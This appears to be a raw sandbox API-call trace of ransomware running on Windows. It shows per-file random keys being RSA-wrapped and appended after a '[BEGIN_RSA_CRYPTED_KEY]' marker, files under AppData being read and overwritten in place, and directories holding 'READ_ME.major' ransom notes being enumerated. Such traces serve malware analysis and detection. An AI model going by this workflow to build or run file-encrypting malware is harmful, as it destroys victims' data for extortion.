CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.525] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.525] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3M4xEjArl2iKhg2RXUVcrRw+YdHzw2d8g8p+2IHYvVEzmvfRdBgYnQukb9R00eam\nFcg0VCKL6dPoB5k/JpqBVD7ZTLm35xaf9/E7Slf5USdm51c3ojIcHPgCHTBOlUus\nBqvfJhW1Bq5ZxLsbldhMMT6N6BeBl6+UoPSTQ8Nlgu5twrFwkvjE5CIHTKOamF/8\nj932vkoIP9HMTQ5S1MDvDLHn4W4ub9JL6vT/Wadrbt760/UwCt4fBStsciAg99zI\nxPQj+PkY8w5H+G6vYDZC8/bIR3gDyZElyCH89OeWf/nPZ+R9rat2ZGDdaCnhwh9h\ncFRGDqfOd0wpAM3BnTZ8lw==\n", pcchString=0x2e3f9a8) returned 1 [0206.525] WriteFile (in: hFile=0x14a4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.525] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.526] WriteFile (in: hFile=0x14a4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.526] CloseHandle (hObject=0x14a4) returned 1 [0206.528] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.528] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0206.529] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14a4 [0206.530] GetFileSizeEx (in: hFile=0x14a4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0206.530] ReadFile (in: hFile=0x14a4, lpBuffer=0x2f8d8c0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.531] SetFilePointer (in: hFile=0x14a4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.531] WriteFile (in: hFile=0x14a4, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.532] SetFilePointer (in: hFile=0x14a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0206.532] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.532] WriteFile (in: hFile=0x14a4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.532] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.532] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.532] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.533] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wAS1oQVMDPeTtV7UF2Y3mIefTbsaz2c6lAHwi0dju2Ni3uZYDqdvTaPdUYGSUemg\nsu8eEBvpje8++YhdFyZ9C5mB4pjs31iaNlxb1NBB+3IeWBz7QcTnbx3muwoW3ATI\n2DtLi9AKo7docrK06L2BBw+SkFT6kYbuSCr697RFVRcgYm+cSpNsG3+tyIsSX7g7\n+K95yyaBy8mXPMosxf8CIAi2I87vQiwT8X5vvdEd+94g+AgONGB2P6I4sA4bSqLp\niDtAgLjiec9of7By7LjKDJSYZz5hcAgXXmkClTk90vToQLM3WuZK9dMCOyAGulxF\ndb9orVzy4lJuIbSaDuCyDg==\n", pcchString=0x2e3f9a8) returned 1 [0206.533] WriteFile (in: hFile=0x14a4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.533] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.533] WriteFile (in: hFile=0x14a4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.533] CloseHandle (hObject=0x14a4) returned 1 [0206.535] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.535] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0206.536] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14a4 [0206.536] GetFileSizeEx (in: hFile=0x14a4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0206.536] ReadFile (in: hFile=0x14a4, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.536] SetFilePointer (in: hFile=0x14a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.536] WriteFile (in: hFile=0x14a4, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.536] SetFilePointer (in: hFile=0x14a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0206.537] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.537] WriteFile (in: hFile=0x14a4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.538] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.538] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.538] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.538] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="EfS5gcN1/Ep8DjJnDbCmLvR/aXuinaznQoXCJMwUrtOJDKAJyHmdlaqHQZRiH56x\nxF6fW78vS3FQXIfngh1lWEVsuiBo/YXukP3Oy9HlkfAl7FBlaqYHxHZ+UB65p6pm\n3P+Zj1Mv/OV5GoA7VJOZQNZeaQfhd8Wv9dRFTI0dGjazD4PJBq2Iop9usKiva3cN\ngIF9xf+1EyiikyMoi1HfIMQeljJu85tGYemuC45s4SxmZ9vS5dNbkf2iAEAx4QfQ\nDa5leiH5XLm0ZMMc4poA2jb5NoJhzMOwrcBiSiWfemINuGrrVr6JBH1Rb11KOV4s\nzQM0WdRZw5hXrTHbWChoZg==\n", pcchString=0x2e3f9a8) returned 1 [0206.538] WriteFile (in: hFile=0x14a4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.538] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.538] WriteFile (in: hFile=0x14a4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.539] CloseHandle (hObject=0x14a4) returned 1 [0206.543] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8832b29, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd8832b29, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30f98 [0206.543] FindNextFileW (in: hFindFile=0x2f30f98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8832b29, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd8832b29, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31942428, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.544] FindNextFileW (in: hFindFile=0x2f30f98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31942428, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31942428, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.544] FindNextFileW (in: hFindFile=0x2f30f98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31942428, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31942428, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.544] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d31d85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30918 [0206.544] FindNextFileW (in: hFindFile=0x2f30918, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b33bde5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d31d85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.545] FindNextFileW (in: hFindFile=0x2f30918, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319682a0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x319682a0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.545] FindNextFileW (in: hFindFile=0x2f30918, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319682a0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x319682a0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.545] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d33442, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30cd8 [0206.545] FindNextFileW (in: hFindFile=0x2f30cd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d33442, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.546] FindNextFileW (in: hFindFile=0x2f30cd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319682a0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x319682a0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.546] FindNextFileW (in: hFindFile=0x2f30cd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319682a0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x319682a0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.546] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d33caa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30f58 [0206.546] FindNextFileW (in: hFindFile=0x2f30f58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d33caa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.546] FindNextFileW (in: hFindFile=0x2f30f58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319682a0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x319682a0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.546] FindNextFileW (in: hFindFile=0x2f30f58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319682a0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x319682a0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.546] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d34378, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30a98 [0206.546] FindNextFileW (in: hFindFile=0x2f30a98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d34378, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.547] FindNextFileW (in: hFindFile=0x2f30a98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319682a0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x319682a0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.547] FindNextFileW (in: hFindFile=0x2f30a98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319682a0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x319682a0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.547] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d34794, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30d58 [0206.547] FindNextFileW (in: hFindFile=0x2f30d58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d34794, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.547] FindNextFileW (in: hFindFile=0x2f30d58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319682a0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x319682a0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.547] FindNextFileW (in: hFindFile=0x2f30d58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319682a0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x319682a0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.547] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d34ce1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f309d8 [0206.547] FindNextFileW (in: hFindFile=0x2f309d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d34ce1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.547] FindNextFileW (in: hFindFile=0x2f309d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319682a0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x319682a0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, 